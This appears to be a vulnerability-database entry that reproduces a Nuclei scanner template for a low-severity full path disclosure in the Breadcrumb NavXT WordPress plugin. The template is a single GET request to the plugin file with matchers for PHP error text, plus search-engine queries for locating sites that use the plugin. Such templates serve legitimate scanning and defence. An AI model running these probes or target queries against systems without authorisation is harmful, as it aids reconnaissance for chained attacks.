wp-breadcrumb-navxt-fpd: WordPress Breadcrumb NavXT - Full Path Disclosure

2026-01-24 WordPress Breadcrumb NavXT PoC Public

Description

The Breadcrumb NavXT plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated attackers to obtain the full application path that could aid other attacks when combined with another vulnerability.

PoC

id: wp-breadcrumb-navxt-fpd

info:
  name: WordPress Breadcrumb NavXT - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    The Breadcrumb NavXT plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated attackers to obtain the full application path that could aid other attacks when combined with another vulnerability.
  reference:
    - https://wordpress.org/plugins/breadcrumb-navxt/
  metadata:
    max-request: 1
    verified: false
    publicwww-query: "/wp-content/plugins/breadcrumb-navxt/"
    fofa-query: body="/wp-content/plugins/breadcrumb-navxt/"
  tags: wordpress,wp,wp-plugin,fpd,breadcrumb-navxt,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/breadcrumb-navxt/breadcrumb-navxt.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Fatal error", "Uncaught Error:") || contains_all(body, "Warning:", "failed to open stream")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "breadcrumb-navxt")'
        condition: and
# digest: 4a0a00473045022100ca1c1cf44a0579a45a32abc5d4e5b1234bbf41bf19e712f965cdb3189d0c5d2a0220728636022131f91e968aedb47a4ec8cf4c111b68687637aa1ce1813b71fe6785:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wp-breadcrumb-navxt-fpd.yaml

References

Related Vulnerabilities